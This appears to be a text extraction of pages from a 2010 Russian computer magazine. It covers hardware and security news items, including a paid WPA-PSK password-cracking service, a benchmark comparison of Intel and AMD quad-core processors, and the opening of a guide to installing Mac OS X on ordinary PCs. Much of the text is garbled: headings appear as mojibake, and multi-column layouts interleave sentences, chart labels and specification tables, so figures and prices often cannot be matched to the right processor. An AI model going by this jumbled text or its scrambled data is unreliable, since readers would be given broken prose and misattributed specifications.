светодиодную подсветку. Дисплей примеча-
телен низким энергопотреблением — за счет
использования светодиодов расход энергии,
по сравнению с мониторами с CCFL-под-
светкой, удалось сократить на 20%. Подчер-
кивается, что модель в высшей степени эко-
логична, то есть не содержит ртути, мышьяка
и галогена и полностью соответствует стан-
дартам ENERGY STAR 5.0, TCO 5.0 и EPEAT
Gold. Остальные, более привычные глазу
характеристики таковы: соотношение сторон
16:10, разрешение 1680 x 1050, динамичес-
кая контрастность 1:30000, максимальная
яркость — 250 кд/кв.м. Монитор несет в себе
разъемы VGA, DVI, DisplayPort и USB, а также
комплектуется встроенными громкоговори-
телями. Его цена будет равняться примерно
$339.

014 XÀÊÅÐ 01 /133/ 10


ÑÅÐÂÈÑ
ÏÎ ÏÎÄÁÎÐÓ ÏÀÐÎËÅÉ
Креативность некоторых людей не знает границ. Небезызвестный
хакер Мокси Марлинспайк, который ранее «развлекался» подде-
лкой SSL-сертификатов системы PayPal, и читал об этом доклады
на BlackHat, придумал новую затею. Он открыл сайт с говорящим
именем www.wpacracker.com, где предложил всем желающим свои
услуги по взлому WiFi-сетей. Ни для кого не секрет, что WPA-сети,
работающие в режиме PSK, взломать несложно, в частности, к ним
можно применить банальный брутфорс. Вот об этом-то и подумал
Марлинспайк, когда арендовал у Amazon EC2 «облако» на 400
процессоров, поднял простенький сайт и прикрутил ко всему этому
словарь на 135 миллионов слов. Всего за $34 и 20 минут времени
(или $17 и 40 минут соответственно) WPA Cracker проверит, не
подходит ли какое-либо из 135 млн. слов в качестве пароля к
нужной тебе WPA-PSK сетке. К слову, обычный двуядерник будет
перебирать те же 135 млн. слов около 5 дней. Платежи находчивый
взломщик принимает легально, через Amazon Payments, а ресурс
позиционирует как сервис для проверки сетей на устойчивость
к взломам. В пору делать ставки, как долго протянет этот смелый
проект.

ÏÎ ÄÀÍÍÛÌ
«ËÀÁÎÐÀÒÎÐÈÈ
ÊÀÑÏÅÐÑÊÎÃλ,
 ÍÎßÁÐÅ ÍÀ PAYPAL
È EBAY ÏÐÈØËÎÑÜ
44.5% È 19.4%
ÂÑÅÕ ÔÈØÈÍÃÎÂÛÕ
ÀÒÀÊ.

BLU-RAY/DVD
ÍÀ ÏÎÄÕÎÄÅ
Не прошло и пары лет с момента победы
формата Blu-ray над форматом HD DVD,
и в продаже, наконец-то, вот-вот начнут
появляться двухсторонние Blu-ray/DVD
диски. Дело в том, что у проигравше-
го войну формата HD DVD такие диски
появились еще в 2007 году, а в случае с
Blu-ray их выпуск явно придерживали
сознательно. Первой двухсторонней
ласточкой станет трилогия о Джейсоне
Борне. Цена на диски будет своего рода
золотой серединой — $29.98, дешевле
Blu-ray, но дороже DVD. Стоит сказать, что
паки Blu-ray+DVD пользуются огромной
и вполне застуженной популярностью, и,
в целом, работают на благо продвижения
технологии Blu-ray в массы.

XÀÊÅÐ 01 /133/ 10 015


Intel Co
Intel Core i7 920
FERRUM
АЛЕКСЕЙ ПОЛЯКОВ, ВЛАД ЗАХАРОВ
i7 920 Intel Core
i5 750

AMD Phenom
II X4 965 BE
Intel Core
i7 975 Extreme AMD Athlon
MD Phenom Edition II X4 620
I X4 965 BE

ÃÎÍÊÈ AMD
Phenom
II X4 940 BE

D Phenom
X4 940 BE
ÍÀ «ÊÀÌÍßÕ»
ÑÐÀÂÍÈÒÅËÜÍÎÅ ÒÅÑÒÈÐÎÂÀÍÈÅ ÏÐÎÖÅÑÑÎÐΠÐÀÇËÈ×-
AMD Athlon
II X4 620 ÍÎÉ ÀÐÕÈÒÅÊÒÓÐÛ ÎÒ INTEL È AMD

ÏÎÊÓÏÊÀ ÍÎÂÎÃÎ ÏÐÎÖÅÑÑÎÐÀ — Î×ÅÍÜ ÎÒÂÅÒÑÒÂÅÍÍÛÉ ØÀÃ. ÄÅËÎ ÄÀÆÅ ÍÅ Â


ÂÛÑÎÊÎÉ ÑÒÎÈÌÎÑÒÈ ÁÎËÜØÈÍÑÒÂÀ «ÊÀÌÍÅÉ»: ÀÐÕÈÒÅÊÒÓÐÛ ÐÀÇËÈ×ÍÛ È
ÍÅÑÎÂÌÅÑÒÈÌÛ ÌÅÆÄÓ ÑÎÁÎÉ, È ÂÛÁÎÐ ÒÎÉ ÈËÈ ÈÍÎÉ ÏËÀÒÔÎÐÌÛ ÍÅÈÇÁÅÆÍÎ
ÏÎÒßÍÅÒ ÇÀ ÑÎÁÎÉ, ÊÀÊ ÑÍÅÆÍÛÉ ÊÎÌ, ÇÀÌÅÍÓ ÄÐÓÃÈÕ ÂÀÆÍÛÕ ÝËÅÌÅÍÒÎÂ, ÒÀÊÈÕ
ÊÀÊ ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ È —  ÍÅÊÎÒÎÐÛÕ ÑËÓ×ÀßÕ — ÏÀÌßÒÜ. ÅÑËÈ ÆÅ ÏÎÒÎÌ ÒÛ
ÐÅØÈØÜ ÏÅÐÅÉÒÈ ÍÀ ÄÐÓÃÓÞ ÀÐÕÈÒÅÊÒÓÐÓ, ÒÎ ÂÑÅ ÝÒÈ ÍÅÌÀËÛÅ ÇÀÒÐÀÒÛ ÏÐÈÄÅÒÑß
ÏÎÂÒÎÐßÒÜ. Â ÎÁÙÅÌ, ÊÀÊ ÍÈ ÊÐÓÒÈ, ÂÛÁÎÐ ÍÅÏÐÎÑÒÎÉ. ÍÀÄÅÅÌÑß, ÍÀØ ÎÁÇÎÐ ÒÅÁÅ
 ÍÅÌ ÏÎÌÎÆÅÒ.

МЕТОДИКА роко известный пакет Everest. Встроенный бенч- ких задачах мы использовали тест из пакета
ТЕСТИРОВАНИЯ марк в архиваторе WinRAR — также эффективное 3DMark’06 CPU Score. Разумеется, не обошли мы
Первая часть тестирования проходила на штат- средство для оценки производительности CPU и стороной и тестирование производительности в
ных значениях тактовой частоты и напряжения. памяти; прогоняли мы и его. С целью выявления играх: были запущены бенчмарки для игр Far Cry
После этого для процессоров, которые нам уда- пригодности процессора для реальных ресурсо- 2 (1280х1024, Ultra High, AF 8x, DirectX 10) и Crysis
лось разогнать до одинаковой тактовой частоты емких задач использовались тесты Cinebench R10 Warhead (1280х1024, Enthusiast, AF 8x, DirectX 10).
3600 МГц (а не удалось это сделать только с AMD (для измерения производительности в рендерен-
Athlon II X4 620), мы провели тот же набор тестов ге трехмерной картинки) и TMPG Enc 4.0 — для ко-
на данной частоте. Последний тест был интере- дирования видео. Последнее компрессировалось
сен тем, что должен был объективно показать в формат MPEG 1900х1200, а в качестве источ- ÒÅÑÒÈÐÓÅÌÎÅ
производительность различных процессоров, ника было взято некомпрессированное видео с ÎÁÎÐÓÄÎÂÀÍÈÅ:
работающих на одной и той же частоте. видеокамеры формата FullHD 1920x1080. 3DMark
Собственно вычислительную мощность ис- Vantage — популярный пакет для тестирования AMD ATHLON II X4 620
пытуемых процессоров мы оценивали в тесте графической подсистемы. Поскольку видеокарта AMD PHENOM II X4 940 BE
NuclearMC, показывающем скорость процессора использовалась во всех тестах одна и та же, нам AMD PHENOM II X4 965 BE
в арифметических задачах. Эффективность рабо- стало интересно, окажет ли процессор сущест- INTEL CORE I5 750
ты с оперативной памятью проверялась в наборе венное влияние на результат. А для тестирования INTEL CORE I7 920
тестов Memory Benchmark, который входит в ши- возможностей самого процессора в графичес- INTEL CORE I7 975 EXTREME EDITION

016 XÀÊÅÐ 01 /133/ 10


Core
920

WINRAR ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ


ÁËÎÊ ÏÈÒÀÍÈß, ÂÒ: 1050, ENERMAX REVOLUTION
m AMD Athlon II X4 620
AMD Phenom II X4 940 ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 250, SSD OCZ VERTEX 250 ÃÁ
AMD Phenom II X4 965 ÂÈÄÅÎÊÀÐÒÀ: AMD RADEON HD 5870
Intel Core i5 750
Intel Core i7 920 ÏËÀÒÔÎÐÌÀ INTEL SOCKET 1366
Intel Core i7 975 ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: ASUS P6T6 WS REVOLUTION
0 1000 2000 3000 4000 5000 6000 ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ: DDR3 3X 1 ÃÁ KINGSTON 1333 ÌÃÖ CL7
3600 MГц Default КБайт/с 1.5 Â
В ТЕСТЕ АРХИВИРОВАНИЯ ОЧЕНЬ СИЛЬНО ВЫРЫВАЕТСЯ ВПЕРЕД ÏËÀÒÔÎÐÌÀ INTEL SOCKET 1156
ПАРА СТАРШИХ ПРОЦЕССОРОВ INTEL И НЕМНОГО ОТСТАЕТ МЛАД- ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: GIGABYTE P55M-UD4
ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ: DDR3 2X 1 ÃÁ KINGSTON 1333 ÌÃÖ CL7
m ШИЙ УЧАСТНИК ТЕСТА ОТ AMD. ОСТАЛЬНЫЕ НЕ ДЕМОНСТРИРУЮТ
СУЩЕСТВЕННЫХ РАЗЛИЧИЙ В ПРОИЗВОДИТЕЛЬНОСТИ 1.5 Â
BE ÏËÀÒÔÎÐÌÀ AMD SOCKET AM2+
ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: ASUS M4A79 DELUXE
ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ: DDR2 2X 1 ÃÁ KINGSTON HYPERX 1066
ÌÃÖ CL5 2.2 Â

AMD ATHLON AMD PHENOM


II X4 620 II X4 940 BE
4000 ðóá. ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
РАЗЪЕМ: SOCKET AM2+/AM3
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: АРХИТЕКТУРА: K10 7000 ðóá.
РАЗЪЕМ: SOCKET AM2+/AM3 ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45
АРХИТЕКТУРА: K10 ЧАСТОТА, ГГЦ: 3,0
ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45 ШИНА, МГЦ: 1800
ЧАСТОТА, ГГЦ: 2.6 КЭШ-ПАМЯТЬ L3, МБАЙТ: 6
ШИНА, МГЦ: 2000 ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 125
КЭШ-ПАМЯТЬ L3, МБАЙТ: 2 КОЛИЧЕСТВО ЯДЕР: 4
ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 95 МНОЖИТЕЛЬ: СВОБОДНЫЙ
КОЛИЧЕСТВО ЯДЕР: 4
МНОЖИТЕЛЬ: 13

В разогнанном состоянии в большинстве тестов процессор почти


догоняет AMD Phenom II X4 965 BE, который старше и дороже. Поэто-
Из-за низкой цены этот процессор можно посоветовать для использо- му данную модель можно порекомендовать фанатам-оверклокерам с
вания в различных бюджетных системах — таких, как офисные рабочие небольшим бюджетом. Свободный множитель и «выносливость» про-
станции, или системы для дома начального уровня. Еще один плюс цессора при высокой температуре дают возможность, имея серьезную
— низкий уровень тепловыделения: греется он слабее, чем первые систему охлаждения (правда, уже не воздушную), разгонять его вдвое
Phenom’ы. по сравнению с номинальной тактовой частотой. Но и просто с хорошим
кулером из него можно выжать немало.

Производительность по теперешним меркам крайне низка. Кроме того,


отсутствие свободного множителя не позволяет сколько-нибудь сущест- Несмотря на температурную «выносливость», уровень тепловыделения у
венно повысить ее с помощью разгона. модели довольно большой — требуется серьезное охлаждение.

XÀÊÅÐ 01 /133/ 10 017


FERRUM

EVEREST MEMORY WRITE FARCRY 2


AMD Athlon II X4 620 AMD Athlon II X4 620
AMD Phenom II X4 940 AMD Phenom II X4 940
AMD Phenom II X4 965 AMD Phenom II X4 965
Intel Core i5 750 Intel Core i5 750
Intel Core i7 920 Intel Core i7 920
Intel Core i7 975 Intel Core i7 975
0 2000 4000 6000 8000 10000 12000 14000 16000 18000 0 10 20 30 40 50 60 70 80
3600 MГц Default МБайт/с 3600 MГц Default fps

СТРАННЫЙ РЕЗУЛЬТАТ (ВПЕРЕД ВЫРЫВАЕТСЯ МЛАДШАЯ ПРОЦЕССОР МАЛО ПОВЛИЯЛ НА РЕЗУЛЬТАТЫ ТЕСТА: «ПОГОДУ»
МОДЕЛЬ INTEL CORE I5 750 В РАЗОГНАННОМ СОСТОЯНИИ) ОБЪ- ДЕЛАЕТ ВИДЕОКАРТА. ТЕМ НЕ МЕНЕЕ, МЛАДШИЕ МОДЕЛИ ОТ
ЯСНЯЕТСЯ ТЕМ, ЧТО ЗДЕСЬ ЗА СЧЕТ МЕНЬШЕГО МНОЖИТЕЛЯ INTEL И AMD (AMD ATHLON II X4 620 И INTEL CORE I5 750) ЧУТЬ-ЧУТЬ
ПРИШЛОСЬ ВЫСТАВИТЬ БОЛЬШУЮ ЧАСТОТУ ШИНЫ — ВОТ И ВСЕ. ОТСТАЛИ ОТ ОСТАЛЬНЫХ
В ЦЕЛОМ ЖЕ, ПРОЦЕССОРЫ INTEL ИДУТ ВПЕРЕДИ С СУЩЕСТВЕН-
НЫМ ОТРЫВОМ

9600 ðóá.
AMD PHENOM INTEL CORE 8000 ðóá.
II X4 965 BE i5 750
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
РАЗЪЕМ: SOCKET AM2+/AM3 ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
АРХИТЕКТУРА: K10 РАЗЪЕМ: SOCKET 1156
ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45 АРХИТЕКТУРА: LYNNFIELD
ЧАСТОТА, ГГЦ: 3.4 ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45
ШИНА, МГЦ: 1800 ЧАСТОТА, ГГЦ: 2.66
КЭШ-ПАМЯТЬ L3, МБАЙТ: 6 ШИНА, ГБИТ/C: 2.5
ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 145 КЭШ-ПАМЯТЬ L3, МБАЙТ: 8
КОЛИЧЕСТВО ЯДЕР: 4 ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 95
МНОЖИТЕЛЬ: СВОБОДНЫЙ КОЛИЧЕСТВО ЯДЕР: 4
МНОЖИТЕЛЬ: 21 (МАКСИМУМ — 24)

Старшая модель от AMD из принявших участие в нашем тесте. Без


разгона демонстрирует неплохую производительность, а стоит при этом Недорогой (если сравнивать с другими изделиями от Intel) процессор,
весьма скромно. показавший, тем не менее, неплохие результаты. Отставание во многих
тестах от старших собратьев было весьма существенным, но все равно
производительность оказалась где-то на уровне старших моделей AMD.
Лишь в некоторых из тестов процессор обгоняет самого младше-
го участника нашего тестирования от Intel. Разогнанный более
дешевый AMD Phenom II X4 940 BE практически ничем не уступил В отличие от флагманских моделей Intel, у этого процессора отсутствует
старшей модели ни в производительности, ни в стабильности. Более поддержка Hyper-Threading. Удивительно, но в тестах FarCry2 и Crysis
того, AMD Phenom II X4 965 BE сильнее греется, так что серьезно Warhead, где влияние процессора на производительность вообще мини-
разогнать этот «камень» относительно номинальной частоты может мально, Intel Core i5 750 заметно уступил двум участникам от AMD и занял
и не получиться. предпоследнее место. Не сильно лучше результат и в 3DMark CPU Score.

018 XÀÊÅÐ 01 /133/ 10


ÊÎÄÈÐÎÂÀÍÈÅ ÂÈÄÅÎ NUCLEARMC
AMD Athlon II X4 620
AMD Athlon II X4 620
AMD Phenom II X4 940
AMD Phenom II X4 940
AMD Phenom II X4 965
AMD Phenom II X4 965
Intel Core i5 750
Intel Core i5 750
Intel Core i7 920
Intel Core i7 920
Intel Core i7 975
Intel Core i7 975
0 0.5 1 1,5 2 2,5 3 3,5 4 4,5
0 5000 10000 15000 20000 25000 30000
3600 MГц Default время, с
3600 MГц Default

И ЗДЕСЬ РЕЗУЛЬТАТЫ ОКАЗАЛИСЬ ДОВОЛЬНО ПРЕДСКАЗУЕМЫ- ВЫЧИСЛЕНИЯ УЧАСТНИКАМ ТЕСТИРОВАНИЯ ОТ INTEL ДАЮТСЯ
МИ: ВПЕРЕД ВЫРЫВАЮТСЯ ТОПОВЫЕ МОДЕЛИ ОТ INTEL, А AMD ЯВНО ЛУЧШЕ. В РАЗОГНАННОМ СОСТОЯНИИ AMD PHENOM II X4 940
СУЩЕСТВЕННО ОТСТАЕТ BE И AMD PHENOM II X4 965 BE ВЫДАЮТ ПРАКТИЧЕСКИ ИДЕНТИЧ-
НЫЕ РЕЗУЛЬТАТЫ. ТО ЖЕ КАСАЕТСЯ И ПАРЫ INTEL CORE I7 920 И
INTEL CORE I7 975 EXTREME EDITION

10000 ðóá.

INTEL CORE INTEL CORE 38200 ðóá.


i7 920 i7 975 Extreme Edition
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
РАЗЪЕМ: SOCKET 1366 РАЗЪЕМ: SOCKET 1366
АРХИТЕКТУРА: NEHALEM АРХИТЕКТУРА: NEHALEM
ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45 ТЕХНИЧЕСКИЙ ПРОЦЕСС, НМ: 45
ЧАСТОТА, ГГЦ: 2.66 ЧАСТОТА, ГГЦ: 3.33
ШИНА, ГБИТ/C: 4.8 ШИНА, ГБИТ/С: 6.4
КЭШ-ПАМЯТЬ L3, МБАЙТ: 8 КЭШ-ПАМЯТЬ L3, МБАЙТ: 8
ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 130 ТИПИЧНЫЙ УРОВЕНЬ ТЕПЛОВЫДЕЛЕНИЯ (TDP), ВТ: 130
КОЛИЧЕСТВО ЯДЕР: 4 КОЛИЧЕСТВО ЯДЕР: 4
МНОЖИТЕЛЬ: 20 (МАКСИМУМ — 21) МНОЖИТЕЛЬ: СВОБОДНЫЙ

Процессор, основанный на архитектуре Nehalem, в абсолютном боль- Флагман от Intel вышел абсолютным победителем практически из всех
шинстве тестов показал прекрасную производительность, существенно тестов, продемонстрировав рекордную производительность. Ему мы и
обогнав и участников от AMD, и своего младшего собрата. А стоит денег присуждаем награду «Выбор редакции».
хоть и не очень маленьких, но вполне разумных. В разогнанном же
состоянии он практически не уступил старшему (и почти вчетверо более
дорогому!) собрату — Intel Core i7 975 Extreme Edition. Безусловно, покупать лишь процессор по цене компьютера (не самого,
кстати, медленного) могут позволить себе только очень состоятельные
пользователи, которых интересует не соотношение «цена/качество»,
Модель не назовешь подходящей для экстремальных «гонщиков»: а все только самое-самое. Тем более, разница в производительности с
максимальный множитель 21 накладывает ограничения на разгонный младшим Intel Core i7 920 оказалась не такой уж существенной.
потенциал.

Intel среднего ценового диапазона обгоняют Награду «Лучшая покупка» получает процес-
ÂÛÂÎÄÛ самые старшие модели от AMD. Так что выбор сор AMD Phenom II X4 940 BE, показавший
Они, в общем-то, очевидны. При наличии для действительно мощной системы, когда хорошую производительность при мини-
совсем небольшого количества денег сегод- финансовые затраты не столь важны — одно- мальных затратах, а «Выбор редакции» при-
ня на базе AMD можно собрать более шуструю значно Intel, а нам лишь остается ждать, пока суждается флагману линейки процессоров
конфигурацию, чем на Intel. Но уже модели от AMD выпустит более быстрые процессоры. Intel — Core i7 975 Extreme Edition.z

XÀÊÅÐ 01 /133/ 10 019


PC_ZONE
СЕРГЕЙ ИСАКОВ ISAKOV@PARITET-FT.RU

×ÒÎ ÍÀÌ ÑÒÎÈÒ


MAC ÏÎÑÒÐÎÈÒÜ?
ÓÑÒÀÍÀÂËÈÂÀÅÌ ÌÀÊÎÑ ÍÀ ÎÁÛ×ÍÛÉ
ÊÎÌÏÜÞÒÅÐ
ÑËÎÆÍÎ ÍÅ ÇÀÌÅÒÈÒÜ ËÞÁÎÂÜ ÐÀÇÐÀÁÎÒ×ÈÊÎÂ È ÄÈÇÀÉÍÅÐÎÂ Ê ÏÐÎÄÓÊÖÈÈ MAC. ÑÒÎÈÒ
ÒÎËÜÊÎ ÎÒÊÐÛÒÜ ÔÎÒÎÃÐÀÔÈÈ ÈÇ ÎÔÈÑÎÂ ÓÑÏÅØÍÛÕ IT-ÊÎÌÏÀÍÈÉ È ÑÒÀÐÒÀÏÎÂ… ÂÎÇ-
ÍÈÊÀÅÒ ÆÅËÀÍÈÅ ÏÎÏÐÎÁÎÂÀÒÜ ÕÂÀËÅÍÓÞ ÑÈÑÒÅÌÓ ÑÀÌÎÌÓ, ÍÎ ÑÅÐÜÅÇÍÛÉ ÖÅÍÍÈÊ ÒÓÒ
ÆÅ ÎÑÒÓÆÀÅÒ ÏÛË. ÎÄÍÀÊÎ ÂÛÕÎÄ ÅÑÒÜ!

Ê
омпьютеры Apple Macintosh всегда ÂÛÁÎÐ ÊÎÍÔÈÃÓÐÀÖÈÈ ринской платы с используемым южным
были элитными и в нашей стране На какое железо реально поставить МакОС? мостом — тоже непростая задача. По произ-
скорее представляют собой экзотику. Не на любое! водителям можно утверждать, что популяр-
Люди либо ничего про них не знают, 1. ПРОЦЕССОР. ные ASUS и Gigabyte для этих целей вполне
либо восхищаются их красотой и Оптимальным выбором будет Intel Core 2 пригодны. Нужно понимать, что другие чип-
удобством. Даже среди тех, кто все-таки знает, Duo, но от Интел подойдут и Core Duo, Core сеты nForce, VIA, SIS, AMD/ATI использовать
что это, многие не могут себе позволить такой Solo (Yonah), Core 2 Quad, Xeon, Pentium M скорее нельзя, чем можно, хотя есть и такие
компьютер, в первую очередь из-за стоимости. (новой серии), Core i5, i7, Atom. Важно, чтобы работающие хакинтоши.
Еще больший аргумент против — якобы боль- они поддерживали набор инструкций SSE3; 3. ПАМЯТЬ.
шие проблемы с программным обеспечением впрочем, с процессорами SSE2 (Pentium M Ничего особого. Если у тебя работает WindowsXP,
в России. (старый), Pentium 4) тоже реально, но с опре- то MacOSX тем более будет работать.
Впрочем, некоторые компании стали про- деленными проблемами. Аналогично можно 4. ЖЕСТКИЙ ДИСК.
давать так называемые клоны системы, попытаться поставить систему на AMD, но — Опять же, ничего необычного.
собранные на самом обычном железе, но при используя специальное ядро, созданное для Предпочтительнее с интерфейсом SATA, хотя
этом — с предустановленной MacOSX. Такая этих целей. Насчет Атома возникли новые и старый IDE-интерфейс вполне пригоден.
система практически неотличима от ориги- сложности, впрочем, уже преодолеваемые Размер — современный: 10 Гб достаточно
нальной, на ней можно запускать любые про- хакинтош-сообществом. для установки системы, которая еще займет
граммы и даже обновлять ее в онлайне. Мы 2. СИСТЕМНАЯ ПЛАТА. место для виртуальной памяти, для файла
решили разобраться, как им такое удалось и На оригинальных Маках используются чип- гибернации и собственных кешей, но всегда
как собирается хакинтош. А заодно — какие сеты Intel и nForce. Есть сведения о простой хочется чего-то большего, и программ поста-
отличия имеются с оригинальной фирменной установке на чипсеты Intel 945, 975x, 965P, вить, и музыки, и фильмов... Модель значе-
системой. EP31, EP45 и другие. Более важно понятие ния не имеет.
Итак, устанавливаем на домашний PC, южного моста: ICH7,8,10 поддерживаются 5. ВИДЕОКАРТА.
наряду с Windows, еще и MacOS (ХакОС) оригинальными драйверами, ICH9 требует Принципиально, что драйвера для видеокарт
в пробных целях. В любой момент можно некоторых патчей, MCP79 тоже относится существуют только для современных Nvidia,
вернуться в привычную среду (и как там к родным мостам. Перечислить, какие есть ATI и Intel. И то не все модели. VIA Chrome,
становится тоскливо после такого праздни- платы на рынке с такими же чипсетами, SIS, Matrox и большинство устаревших карт
ка жизни!). нереально, да и сопоставить модель мате- шансов не имеют. Более старые модели воз-

020 XÀÊÅÐ 01 /133/ 10


ВОТ ОНО: MACOS X НА ОБЫЧНОМ КОМПЬЮТЕРЕ!

можно использовать с MacOSX Tiger, а для и Broadcom. Ниже по тексту будет пример жесткий диск SATA 250 Гб, DVD-RW Optiarc. В
современной Snow Leopard перечень прибли- оживления адаптера Broadcom 4315. целом — современный середнячок эконом-
зительно таков: 9. USB-УСТРОЙСТВА. класса.
• Nvidia Geforce 7x00-9x00, GT120 — GT295 (x Видеокамера, блютус, ТВ-тюнер, флеш-
не меньше 3) накопитель, WiFi, принтер, сканер, клавиатура ÂÛÁÎÐ ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÛ
• ATI Radeon X1300, X1600, X1900, HD2400, и мышь работают практически все. На Интел-совместимых компьютерах можно
HD2600, HD3800, HD4500, HD4600, HD4800. 10. DVD-RW ПРИВОД. запустить MacOSX 10.4.x Tiger, MacOSX 10.5.x
• Intel GMA950, X3100 — версии для мобиль- Тоже работают практически все, как с интер- Leopard и новейшую MacOSX 10.6.x Snow
ных компьютеров. фейсом SATA, так и с ATA. Но последний вызо- Leopard. Разумеется, предпочесть стоит
• Мобильные версии nVidia и ATI — очень вет некоторые проблемы при инсталляции. последнюю, но при этом:
большие проблемы. Подводя черту под этим обзором, следует 1. Видеокарты Radeon 7500 — 9700 возможно
6. ЗВУКОВАЯ КАРТА. сказать, что всегда есть риск, что какое-то полноценно запустить только в Тигре.
Для устаревшего стандарта AC97 есть драй- устройство в системе окажется неподдер- 2. Видеокарты nVidia Geforce 5x00 — 6x00 еще
вер, подходящий для большинства карт живаемым. Ты можешь поискать решение возможно запустить в Леопарде.
производства Realtek и Analog Devices. Для в интернете, либо смириться, мол, пробуя 3. Снежный Барс пока не является хорошо
нового стандарта HDA (High Definition Audio) МакОС, и не рассчитывал, что оно понадо- отлаженной стабильной системой.
есть варианты практически для всех встроен- бится. Внешние различия между системами не столь
ных карт. А вот с PCI-картами нужно выяснять Видеокарта, даже если она не поддержива- и велики, да и совместимость с программным
индивидуально. ется, все равно будет показывать изображе- обеспечением не является решающим аргу-
7. СЕТЕВОЙ АДАПТЕР. ние в одном из стандартных режимов VESA, ментом: все работает в Леопарде, и многое
Практически любые на чипах Realtek или например, 1024х768, но отсутствие поддержки — в Тигре. С другой стороны, очень совре-
Marvell, несколько сложнее — с Intel и 3Com, OpenGL ограничит тебя в списке программ, менным компьютерам может подойти только
также есть драйвера на некоторые карты которые можно использовать. К примеру, не очень современная система, опять таки из-за
Broadcom (440x, 5701). Приходится оговари- будут запускаться системные шахматы и DVD- драйверов.
ваться, ибо есть проблемы с модификациями, player. Вместе с развитием операционной системы
например, Marvell 8071 или Intel 82567. А уси- Итак, в пробной конфигурации мы выбрали трудилось и хак-сообщество, обеспечивая
лиями хак-сообщества созданы драйвера под десктоп на основе системной платы Gigabyte совместимость ОС со стандартными компью-
некоторые модификации nForceLAN. EP45-UD3LR с процессором Intel Core 2Duo терами. Так, для установки Тигра требовалось
8. WIFI-АДАПТЕР. E7400, память 2х1 Гб, звуковая карта встро- подменять ядро системы и ряд жизненно важ-
Вопрос актуален для владельцев ноутбу- енная Realtek ALC888, сетевой адаптер ных программ на модифицированные версии.
ков. Работают адаптеры на чипах Atheros Realtek 8168, видеокарта Palit Geforce 9600GT, В Леопарде появилось понятие ванильного

XÀÊÅÐ 01 /133/ 10 021


PC_ZONE

ком, инсталляционным скриптом и набором


драйверов. Выбрав эту сборку, ты можешь
стартовать прямо с нее и иметь тот же
результат с меньшим количеством усилий.

ÏÐÎÖÅÑÑ ÈÍÑÒÀËËßÖÈÈ
Может быть, на твоем компьютере уже стоит
система Windows, и ты не хочешь ее уничто-
жать, а может быть, ты планируешь ее только
поставить. В этом случае начинать следует
с нее. Во-первых, МакОС требует, чтобы
SATA-винчестер работал в режиме AHCI. Для
южного моста ICH7 этого не требуется, а вот
для других — более чем желательно. И если
для Windows Vista в этом нет проблемы, то
для Windows XP не все так гладко. Сам дис-
трибутив Windows XP SP2 не содержит драй-
вера AHCI и не пожелает устанавливаться
на HDD в таком режиме, а после установки
системы драйвер RAID/AHCI не хочет прини-
маться системой, потому что такое устройство
не включено в БИОСе. Попытка же вклю-
чения в БИОСе режима приводит к синему
ЗАГРУЗЧИК CHAMELEON-2 экрану при загрузке XP. Тупик?! Для южного
моста ICH8 существует корректный инстал-
лятор драйвера, — ищи на прилагаемом
ядра, т.е. оригинальное ядро от самой Эппл. Вариант: переделать сам установочный диск, диске, его также можно модифицировать для
Система стала родной, немодифицированной, чтобы он содержал в себе обход этой защиты, инсталляции на ICH9 путем редактирования
только с небольшими добавками. В Снежном да еще и набор дополнительных драйверов, inf-файла, заменой 2829 на 2929. Для других
Барсе количество необходимых добавок чтобы систему можно было поставить на вариантов придется искать другие пути.
убавилось, ниже мы расскажем, почему. более широкий круг компьютеров. Такой диск Что ж, с этой проблемой ты справился, и
Впрочем, эти трюки применимы и к Леопарду, называется сборкой, и есть люди, которые Windows у тебя работает с винчестером
просто они разработаны уже с выходом их производят, возможно, и в коммерческих в режиме AHCI. Преимущество скорости
системы 10.6. По каждой из этих версий тре- целях, а чаще за просьбу о пожертвовании. В очевидно. Менее очевидно, но для нас
буется отдельный рассказ, но речь пойдет чем минусы? Поскольку сборку делали не мы важнее — совместимость с МакОС. Теперь
только про последнюю, самую современную сами, то не знаем, что конкретно там изме- следует выделить раздел для установки
версию операционной системы с названием нено, и остается только верить, что исправ- OSX. Раздел должен быть первичным, а не
Snow Leopard (он же Барсик). ления нужные и безопасные. Возможны логическим диском в расширенном разделе!
изменения внешнего вида и логотипов — Простейший способ: щелкнуть правой кла-
ÂÛÁÎÐ ÄÈÑÒÐÈÁÓÒÈÂÀ дескать, система неоригинальная и будьте вишей мыши по значку «Мой компьютер»,
Оригинальные компьютеры Apple Macintosh добры видеть логотип создателя сборки. Не выбрать «Управление» Æ «Накопители» и
